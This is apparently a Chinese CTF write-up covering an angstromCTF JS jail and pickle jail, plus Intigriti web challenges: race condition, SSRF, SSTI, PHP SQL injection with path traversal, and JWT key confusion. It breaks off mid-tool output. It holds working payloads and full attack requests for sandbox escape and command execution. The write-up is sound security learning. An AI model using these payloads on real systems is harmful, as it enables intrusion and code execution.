console.log("Result:");
console.log(val);
console.log(
"See, isn't the calculator so much nicer when you're not trying to hack it?"
);
} catch (e) {
console.log("your tried");
}
} else {
console.log(
"Third time really is the charm! I've finally created an unhackable system!"
);
}
}
);
這題是一個js jail,可以看到題目在使用者的輸入上做了非常多的過濾還有字數限制:
input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")
而根據上述的過濾,可以產生以下所有合法的字元:
!#$%&()*+,-/0123456789=@ABCDEFGHIJKLMNOPQRSTUVWXYZ^abcdefghijklmnopqrstuvwxyz|~
這題主要有兩個東西要煩惱:
單、雙引號、反引號都被過濾的情況下,該怎麼獲得可用的字串?
.
和[]
被過濾,該怎麼樣才能存取一個Object
的屬性?
1的部分我的想法是使用js的regex,在沒有引號的情況下使用/Payload/.source
來創造String
,但可惜的是在2想不到辦法繞過之前,這是不可能的
解到這裡,我就稍微卡住了
但很快我就從我之前解的一個來自huli的XSS挑戰得到了靈感:
既然.
和[]
被過濾,我有沒有機會使用urlenocde的方式將我的payload先encode,再使用unescape
或decodeURIComponent
等方式將其還原再eval
它呢?
答案是有的!
我的解法是eval(unescape(/%2f%0aPAYLOAD%2f/))
這樣的話就相當是執行了:
//
PAYLOAD//
payload的部分順利被eval
了!
接下來就是js vm escape的部分了,網路上詳細的解釋很多,payload也有很多種,這裡就不多做介紹
而我最後的解法是:
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
等價於執行:
//
this.constructor.constructor("return(process.mainModule.require('fs').readFileSync('flag.txt','utf8'))")//
所以也就順利拿到flag了
flag: actf{omg_js_is_like_so_quirky_haha}
作者的其實想考的是with
與String.fromCharCode
的搭配,官方解法為:
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))
with
他的效果大概如下:
with(console)
with(a=/hello world/)
with(a)
log(source)
這樣的程式碼,將可以達到console.log(/hello world/.source)
的功效! 非常神奇,真的是讓我大開眼界!
這題是個手寫pickle bytecode的挑戰,題目source code:
#!/usr/local/bin/python3
import pickle
import io
import sys
module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "empty" and name.count(".") <= 1:
return super().find_class(module, name)
raise pickle.UnpicklingError("e-legal")
lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
print("your pickle is too large for my taste >:(")
else:
SafeUnpickler(io.BytesIO(lepickle)).load()
這題是我隊友skkhokho解的,但由於我對pyjail類型的題目都蠻感興趣的,所以也幫忙解了一下
這題最核心的部分就是要通過empty
這個空的module get shell
要get shell的方法也不難想到,只需要通過empty.__class__.__base__.__subclasses__()
拿到os.system
即可,但難的是要了解怎麼手寫pickle做到這件事
以下我會介紹大致的流程:
每個bytecode的介紹可以在pickle的source code看到
首先,在編寫pickle bytecode的第一步,就是要先用PROTO
這個指令指定你的protocol,方法如下:
import pickle
p = pickle.PROTO + bytes([4]) # 4代表使用protocol 4
這個protocol的部分很重要的,我一開始就是因為沒有指定protocol,所以導致預設的protocol不支援直接存取empty.__class__.__base__
下一步是通過GLOBAL
將empty.__dict__
壓入pickle的stack中(跟Python原生的bytecode做的事很類似)
p += pickle.GLOBAL + b'empty\n__dict__\n' # find_class('empty', '__dict__')
此時的stack:
[empty.__dict__]
Note: 若之後想重複使用某個元素,可以使用
BINPUT
指令,將stack[-1]
放入一個memo中,下次要使用時只需要使用BINGET
即可將存在裡面的值推入stack中. For example,p += pickle.BINPUT + bytes([0]) # memo[0] = empty.__dict__
接著,可以通過STRING
指令,將"o"
壓入stack
p += pickle.STRING + b'"o"\n'
此時的stack:
[empty.__dict__ , "o"]
接著,跟上上個步驟類似,將empty.__class__.__base__
壓入stack
p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # find_class('empty', '__class__.__base__')
此時的stack:
[empty.__dict__ , "o", object]
(若沒有限制,
__class__.__base__.__subclassess__
是可以直接獲取的,但由於題目自訂了find_class
,所以不能用超過1個.
)
接下來我們再用SETITEM
,將stack[-2]
作為key,stack[-1]
作為value,將empty.__dict__['o']
設為object
p += pickle.SETITEM
此時的stack:
[empty.__dict__]
此時,關鍵的來了,我們只需要通過empty.o.__subclasses__
,就可以拿到原本看似無法拿到的empty.__class__.__base__.__subclasses__
了!
p += pickle.GLOBAL + b'empty\no.__subclasses__\n'
此時的stack:
[empty.__dict__ , object.__subclasses__]
接著,只要通過EMPTY_TUPLE
將空的tuple推入stack,再使用REDUCE
以剛剛的空tuple作為argument tuple呼叫object.__subclasses__
,即可拿到所有class !
p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]
p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]
剩下的步驟就大同小異了
solve.py:
import pickle
import sys
module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty
p = pickle.PROTO + bytes([4])
p += pickle.GLOBAL + b'empty\n__dict__\n' # [empty.__dict__]
p += pickle.STRING + b'"o"\n' # [empty.__dict__ , "o"]
p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # [empty.__dict__ , "o" , empty.__class__.__base__]
p += pickle.SETITEM # empty.__dict__["o"] = empty.__class__.__base__ = object , [empty.__dict__]
p += pickle.GLOBAL + b'empty\no.__subclasses__\n' # [empty.__dict__ , object.__subclasses__]
p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]
p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]
p += pickle.BINPUT + bytes([0]) # memo[0] = object.__subclasses__()
p += pickle.POP # [empty.__dict__]
p += pickle.STRING + b'"c"\n' # [empty.__dict__ , "c"]
p += pickle.BINGET + bytes([0]) # [empty.__dict__ , "c", object.__subclasses__()]
p += pickle.SETITEM # empty.__dict__["c"] = object.__subclasses__()
p += pickle.MARK
p += pickle.GLOBAL + b'empty\nc.__getitem__\n' # [empty.__dict__ , object.__subclasses__().__getitem__]
p += pickle.INT + b"138\n"
p += pickle.OBJ
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close
p += pickle.GLOBAL + b'empty\nx.__init__\n' # [empty.__dict__ , os._wrap_close.__init__]
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close.__init__
p += pickle.GLOBAL + b'empty\nx.__globals__\n' # [empty.__dict__ , os._wrap_close.__init__.__globals__]
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__.__globals__
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close.__init__.__globals__
p += pickle.MARK
p += pickle.MARK
p += pickle.GLOBAL + b'empty\nx.__getitem__\n' # [empty.__dict__ , os._wrap_close.__init__.__globals__.__getitem__]
p += pickle.STRING + b'"system"\n'
p += pickle.OBJ
p += pickle.STRING + b'"cat /flag.txt"\n'
p += pickle.OBJ
p += pickle.STOP
print(p, len(p))
print(p.hex())
# print(pickle.loads(p))
output:
$ python solve.py
b'\x80\x04cempty\n__dict__\nS"o"\ncempty\n__class__.__base__\nscempty\no.__subclasses__\n)Rq\x000S"c"\nh\x00s(cempty\nc.__getitem__\nI138\noq\x000S"x"\nh\x00scempty\nx.__init__\nq\x000S"x"\nh\x00scempty\nx.__globals__\nq\x000S"x"\nh\x00s((cempty\nx.__getitem__\nS"system"\noS"cat /flag.txt"\no.' 240
800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
$ nc challs.actf.co 31332
Enter hex-encoded pickle: 800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
actf{__i_miss_kmh11_pyjails__}
flag: actf{__i_miss_kmh11_pyjails__}
這次總共學到了:
利用cache probing的xs-leak與cache partition機制
url的長度也可能會導致431 Request Header Fields Too Large
javascript with
的神奇用法
如何手刻pickle bytecode
此外,這次也是我第一次跟一個這麼龐大而且充滿高手的隊伍一起參加CTF,實在是非常有趣的經驗、也從中學到了不少!
]]>由於常參加Intigriti每個月的XSS challenge,所以從XSS challenge學到不少。於是這次也報著同樣的期待參加了由Intigriti舉辦的CTF。
這次我總共解了5題web和4題pwn,以下紀錄比賽時我的解法與學到的東西。
這題沒有source code,但由於網站功能很少,所以很容易看出重點。
首先可以看到這個網站有幾個類似選擇題的東西,選對了可以拿到10分,一個connect.sid只有3次機會,但get flag的條件是100分。
而送出答案的request長這樣:
POST /submitAnswer HTTP/2
Host: quiz.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647029701.734.3451.583039|df18c7a37b01201195c3bf2ff6aa23c8; connect.sid=s%3AQ3O_vl_xMPCzfMiMtlMwU_KFjlGPH0sd.eYmuztHaRJDfwnmNSgEIpzCAQstEFal%2B8o%2BD3Zfh0ZY
Content-Length: 39
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://quiz.ctf.intigriti.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://quiz.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
{"questionNumber":1,"answer":"monthly"}
然後response有3種: 答對+10分、答錯、已經回答過了。
直接利用Burp Suite的Intruder功能,把剛剛的request放進去,設定傳送200個request,並將Resource Pool的Maximum concurrent requests設定20,按下Start Attack
之後,就可以發現有20個request同時拿到了+10分的response,確認一下分數:
HTTP/2 200 OK
Date: Sun, 13 Mar 2022 02:13:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
X-Powered-By: Express
Access-Control-Allow-Origin: *
Etag: W/"37-HFNBVD+RoSfccbmNeWUg3v2eG2Y"
{"id":265,"points":200,"q1":true,"q2":false,"q3":false}
可以發現我們雖然只答對1題,但分數已經來到200分了!
所以就get flag了: 1337UP{this_is_a_secret_flag}
這題總共有兩個功能: preview和flag
Preview:
app.post("/preview", async (req, res) => {
const { link } = req.body;
if(!link || typeof link !== "string") {
return res.send("Missing link");
}
let url;
try {
url = new URL(link);
}
catch(err) {
return res.send("Invalid url");
}
if(!["http:", "https:"].includes(url.protocol)) {
return res.send("Invalid url");
}
let dnsLookup;
try {
dnsLookup = await dnsp.lookup(url.hostname, 4);
}
catch(err) {
return res.send("Could not resolve url");
}
console.log(dnsLookup);
let { address } = dnsLookup;
if(isIpPrivate(address)) {
return res.send("You are not allowed to view this url");
}
try {
let fetchReq = await fetch(link);
fetchReq.body.pipe(res);
}
catch(err) {
res.send("There was an error previewing your url");
}
});
flag:
app.get("/flag", (req, res) => {
console.log(req.socket.remoteAddress);
if(req.socket.remoteAddress === "::ffff:127.0.0.1") {
return res.send(process.env.FLAG || "flag{test_flag}");
}
res.send("No flag for you!");
});
可以看到preview的功能是: dnslookup確認不是private ip之後,就會fetch你給的url,再回傳fetch的result
而flag功能是: 如果remoteAddress是local的話,就回傳flag
水題,由於他確認的方式是用dnslookup,只要簡單的用redirect就能繞過了,於是用flask寫個簡易的redirect功能再傳給preview:
POST /preview HTTP/2
Host: deadtube.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647026322.808.3204.277190|13f1eb5feb6802f249588f40c454cb40
Content-Length: 91
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Origin: https://deadtube.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://deadtube.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
X-Forwarded-For: 127.0.0.1
link=http%3a%2f%2f5e38-111-248-74-24.ngrok.io%2f%3fu%3dhttp%3a%2f%2f127.0.0.1%3a8080%2fflag
response:
HTTP/2 200 OK
Date: Fri, 11 Mar 2022 20:08:04 GMT
X-Powered-By: Express
1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}
flag: 1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}
這題的source code很無聊,故意把route弄的很醜,這裡提供整理過後,關鍵部分的source code:
from flask import Flask, request, render_template_string, render_template
app = Flask(__name__)
###################
# trash
###################
@app.route("long_trash")
def WH4TSG01NG0N():
BRRRRR_RUNNING = request.args.get("input", None)
if BRRRRR_RUNNING is None:
return "BRRRRR_RUNNING"
else:
for _ in BRRRRR_RUNNING:
if any(x in BRRRRR_RUNNING for x in {'.', '_', '|join', '[', ']', 'mro', 'base'}):
return "caught"
else:
return render_template_string("Your input: " + BRRRRR_RUNNING)
###################
# trash
###################
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5555, debug=True)
老梗的SSTI,black list用|attr
和escape string就能繞過了:
payload:
{{g|attr('pop')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat f*')|attr('read')()}}
response:
HTTP/2 200 OK
Date: Fri, 11 Mar 2022 16:50:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 67
Your input: flag{1ea5n_h0w_vu1n_h1ppen_and_wh1t_l1ne_m1ke_vu1n!!!}
source code (flag redacted):
<?php
/*
<flag> ➡➡➡ ⛳🏁 ⬅⬅⬅ <flag>
*/
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
extract($_POST);
if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
$loggedin = true;
}
if (md5($_SERVER['REMOTE_ADDR']) != '92d3fd4057d07f38474331ab231e1f0d'){
header('Location: ' . $_SERVER['REQUEST_URI']);
}
if (isset($loggedin) && $loggedin){
echo 'One step closer 😎<br>';
if (isset($_GET['action']) && md5($_GET['action']) == $_GET['action']){
echo 'Really? 😅<br>';
$db = new SQLite3('database.db');
$sql_where = Array('1=0');
foreach ($_POST as $key => $data) {
$sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
}
$result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));
if ($result == 'admin'){
echo 'Last step 🤣<br>';
readfile(file_get_contents('php://input'));
}
}
}
}
?>
<html lang="en">
<head>
<title>PHorrifyingP</title>
<style>
body {
background-color: #000;
}
h1 {
font-size: 8vw;
font-family: 'Nosifer', cursive;
padding: 2rem;
color: #900d0d;
text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
animation: glow 1s ease-in-out infinite alternate;
text-align: center;
}
@keyframes glow {
from {
text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
}
to {
text-shadow: 0 0 10px #fff, 0 0 20px #fff, 0 0 40px #d92027, 0 0 40px #d92027, 0 0 50px #d92027, 0 0 70px #d92027, 0 0 90px #d92027;
}
}
p {
max-width: 50%;
margin: auto;
}
</style>
</head>
<body>
<link href="https://fonts.googleapis.com/css2?family=Nosifer&display=swap" rel="stylesheet">
<h1>PHorrifyingP</h1>
<p>
<?php
$source = highlight_file(__FILE__, true);
$source = explode('<flag>', $source);
$source[1] = ' ➡➡➡ ⛳🏁 ⬅⬅⬅ ';
$source = implode('<flag>', $source);
echo $source;
?>
</p>
</body>
</html>
第1關是要isset($loggedin) && $loggedin
,這時可以看到:
if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
$loggedin = true;
}
但md5($_POST['password']
是不可能和'put hash here!'
相等的,這時可以注意到:extract($_POST);
,這段code會把$_POST
中的key作為變數名稱,並用key所對應value進行賦值,所以只要post的時候加入一個loggedin=1
,就能順利通過檢查了
第2關是isset($_GET['action']) && md5($_GET['action']) == $_GET['action']
這個部分老梗了,直接google magic hash就能輕鬆找到一堆0e
開頭而且md5之後還是0e
的字,只要透過弱比較繞過就可以了。於是:
POST /?action=0e215962017 HTTP/2
就能順利通過第2關了
第3關是$result == 'admin'
,而result要怎麼樣才會是admin呢?
可以看到$_POST
的每個key和value都會通過escapeString
處理之後放進SQL語句:
$db = new SQLite3('database.db');
$sql_where = Array('1=0');
foreach ($_POST as $key => $data) {
$sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
}
$result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));
但實際上escapeString
的功能弱到不行,只會對空格還有單引號做處理,所以若post的內容長這樣: "&loggedin=1&"or(1)order/**/by/**/1--
,SQL的語句會長這樣:
SELECT login FROM users WHERE 1=0 AND "='' AND loggedin='1' AND "or(1)order/**/by/**/1--=''
可以發現雙引號之間的東西會全部被包起來,--
之後的東西會被丟掉,所以雙引號和--
之間我們就能很輕鬆的塞SQL的語句
又因為order by 1
的時候資料庫裡有admin
這個東西,所以第一筆資料剛好就是a開頭的admin,於是不需要union select
這一關就可以通過了。
最後一關是readfile(file_get_contents('php://input'));
,由於傳入readfile
的路徑都會normalize
,我們只需要在--
後放上一堆../
就可以在不影響SQLi運作的情況下構造合法的路徑了。
完整的request:
POST /?action=0e215962017 HTTP/2
Host: phorrifyingp.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
"&loggedin=1&"or(1)order/**/by/**/1--/../../../../../../../../../../../var/www/html/index.php
response:
HTTP/2 302 Found
Date: Sun, 13 Mar 2022 03:15:44 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: INGRESSCOOKIE=1647141345.47.13470.172637|8392188e806a29b08800709df834e21e; Path=/; Secure; HttpOnly
X-Powered-By: PHP/7.1.8
Location: /?action=0e215962017
One step closer 😎<br>Really? 😅<br>Last step 🤣<br><?php
/*
<flag>
You made it 🤗
-> 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME} <-
<flag>
...
...
trash
...
...
flag: 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME}
這題是這次web最好玩的一題,不guessy,且讓我學到不少
(不愧是來自UCB的Dicegang成員:Strellic出的題目!)
server的source code:
const express = require("express");
const jwt = require("jwt-simple");
const crypto = require("crypto");
const app = express();
// Alex only likes Chrome. All FireFox users should get out of here!
const PORT = process.env.PORT || 8080;
const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096 });
const pub = publicKey.export({ type: "pkcs1", format: "pem" });
const priv = privateKey.export({ type: "pkcs1", format: "pem" });
const bot = require("./bot.js");
app.set("view engine", "hbs");
app.use(express.static("public"));
app.use(express.urlencoded({ extended: false }));
app.use(require("cookie-parser")());
app.use((req, res, next) => {
if(!req.cookies.auth) {
let username = crypto.randomBytes(8).toString("hex");
let cookie = jwt.encode({ username }, priv, "RS256");
req.cookies.auth = cookie;
res.cookie("auth", cookie);
}
try {
let auth = jwt.decode(req.cookies.auth, pub);
res.locals.username = auth.username;
}
catch(err) {
res.clearCookie("auth");
return res.redirect("/?message=Invalid token");
}
let nonce = crypto.randomBytes(16).toString("hex");
res.setHeader("Content-Security-Policy", `
default-src 'self';
img-src 'self' data:;
style-src 'nonce-${nonce}';
font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/;
object-src 'none';
base-uri 'none';
script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;
`.trim().replace(/\s+/g, " "));
res.locals.nonce = nonce;
next();
});
const isUser = (user) => (req, res, next) => res.locals.username === user ? next() : res.redirect("/");
app.get("/home", isUser("Alex"), (req, res) => {
res.render("home");
});
app.post("/home", isUser("Alex"), (req, res) => {
let { message } = req.body;
if(!message || typeof message !== "string") {
return res.redirect("/home?message=Missing message");
}
// no XSS
message = message.replace(/"/g, """);
message = message.replace(/</g, "<");
message = message.replace(/>/g, ">");
// convert images and links
message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);
return res.render("home", { message });
});
app.post("/report", isUser("Alex"), (req, res) => {
let { message } = req.body;
if(!message || typeof message !== "string") {
return res.redirect("/home?message=Missing message");
}
bot.visit(message, jwt.encode({ username: "Alex" }, priv, "RS256"));
return res.redirect("/home?message=The admin will look at your message now");
});
app.get("/", (req, res) => {
if(res.locals.username === "Alex") {
return res.redirect("/home");
}
res.render("login");
});
app.listen(PORT, () => console.log(`listening on port ${PORT}`));
admin bot:
const puppeteer = require("puppeteer");
const SITE = process.env.SITE || "http://localhost:8080";
const visit = async (message, jwt) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
let page = await browser.newPage();
await page.setCookie({
name: 'auth',
value: jwt,
domain: new URL(SITE).host
});
await page.setCookie({
name: 'flag',
value: process.env.FLAG || "flag{test_flag}",
domain: new URL(SITE).host
});
await page.goto(SITE + "/home", { waitUntil: 'networkidle2' });
await page.evaluate((message) => {
document.querySelector("textarea").value = message;
document.querySelector("#submit-btn").click();
}, message);
await page.waitForTimeout(6000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
module.exports = { visit };
首先可以看到server使用jwt來做auth的驗證,且使用RS256
作為產生jwt的alg
在驗證jwt的username為”Alex”之後,才可以使用/home
和/report
的功能
第一關是要偽造一個username為Alex的jwt,但要怎麼偽造呢?
可以發現server在decode jwt時使用的是:
let auth = jwt.decode(req.cookies.auth, pub);
res.locals.username = auth.username;
由於jwt.decode
時沒有指定alg
,所以若req.cookies.auth
的alg用的是HS256
的話,預設會將pub
做為HS256
的key來decode!
但這有什麼幫助呢?
根據RSA的特性,我們是有可能從兩個不同,但使用相同private key的RS256 jwt推出public key的!
也就是說,我們可以通過使用HS256和我們反推出來的public key進行encode來偽造任意jwt!
反推public key的部分,已經有人寫出了工具,我們可以直接使用這個來反推public key
$ python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjgxYmJhMmI3NWQ0YTU1ZmIifQ.R0xuBKP_o3uuWKS2OG8nmWrOUm6x2F6ySVNJrbdMUel95ppiEA4y6E5IBSyBacOoeaNtZ37cAULHHqbXkwDu5PGRxIV3JLjsr7IqjcyY9Y0_K_p5SKN_Gxcieyc2YvsIZXverVB1XHjaBMv4DQqJ2ZCt38rf2Y1AdJxS_KSMGUnE9WHOfMledJr542nWVJS7oZhdmUgiccWr0fxKUpl7OuFoMf5c1P2IiT3w-Sv7o5fOobVbLYtq0GQ0HkcYruzMfLY0WVD-vaIpzpg77clfwqbR4PdBkiGz9m0x1ipburOLT-J1016ewXSxMyOT5jFaJYV9PmolifwP4fMmDN5IOJrdU_PVexskClibZnnzBx2HUXngy6Osa5MMGISLQxRaVa0rWyRANGsSorFHT2zYrUJkjPa9Bxh4FRqR_gJYrq3VNhLaZ6I54OwTxn6y8etfzYrWzQtMv-G8x7D16vRkNzNniKiOFMALiY14qd4X2VQq7_c3gVyK-hFujpoa7dBpt3vaWTHEFw5Oip-ySM_ycOTOvsNQQkGyWHw1rqhqv8oVrrUdAsG9u_d_HaYD9HcwAs7P5sBPth9Qhdqa0eu8HhRBxzDfVAppBt3-cOtUSZ4az3fb7DW2wcrapQ2IIB4s0anjaodIAdxsl8Hv281VIMBneN0fTn0RuWv5Q9yPO4c eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ijg4YzZiNDE0M2RiZWJkMjAifQ.cOC2emZnj8y_DO6auzkOVm2zFJoHtkppWM_5VDiPZX2npa9FKd12KwVh7b264L1fSjHiASux9t9kJ9uORqUH7t7AWaCjTzvXQuAKQmuZmapBdmtrnMBo6Kq152L5__8uMlt9JmrUAcDklB7t1XI3r8kxiE2z3wsaqTRglwDzrSHslx7HA6af0VDsODO1wBedNB6POv2jXMmMW6kDfvf6CAe-tVGrYqqir11Qbjnld1B32ncuBZ_3xpS5VimX12VYvMsIZOgFhe2RddKybx_PzUUzBfX2NfnPUu-VtsvxncjXzj7CDk_1TrTlzuzfR2rzGXpNxdoHsuXVLIRiGrkLoMwYzzaIA5lVVYMVm8doVS5h9hb6B_zK7VSGs7wH80MFFKDx_Ur23S03KPkdJEjs4gmQsPdkoFzlZ5j9CAdsRLIx00jwXNIbhtpCKIe9B4TTHu5Zu4WZ7bBKD6XfwrqO-wkGNxaOWCX-H4U5IpvuDkKb86DltfYpeuMEzY22GSYuyRJugcE8SlWgaABLC98vDgkGrqdzlwivPe0iTPHTaiaXLHCn_TxRx7R099HlPnwxnPLi9-9f-Y60PKF8EfyAzKPORMhCeNUjCDU5GpZCqhdhnzZDvpZtLzP9dC6ZtKR1x8Cu4dpOGDA3LIwir4z8Lqf9JgEUyQWOCSYYTMZdd6c
[*] GCD: 0x1
[*] GCD: 0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Found n with multiplier 1 :
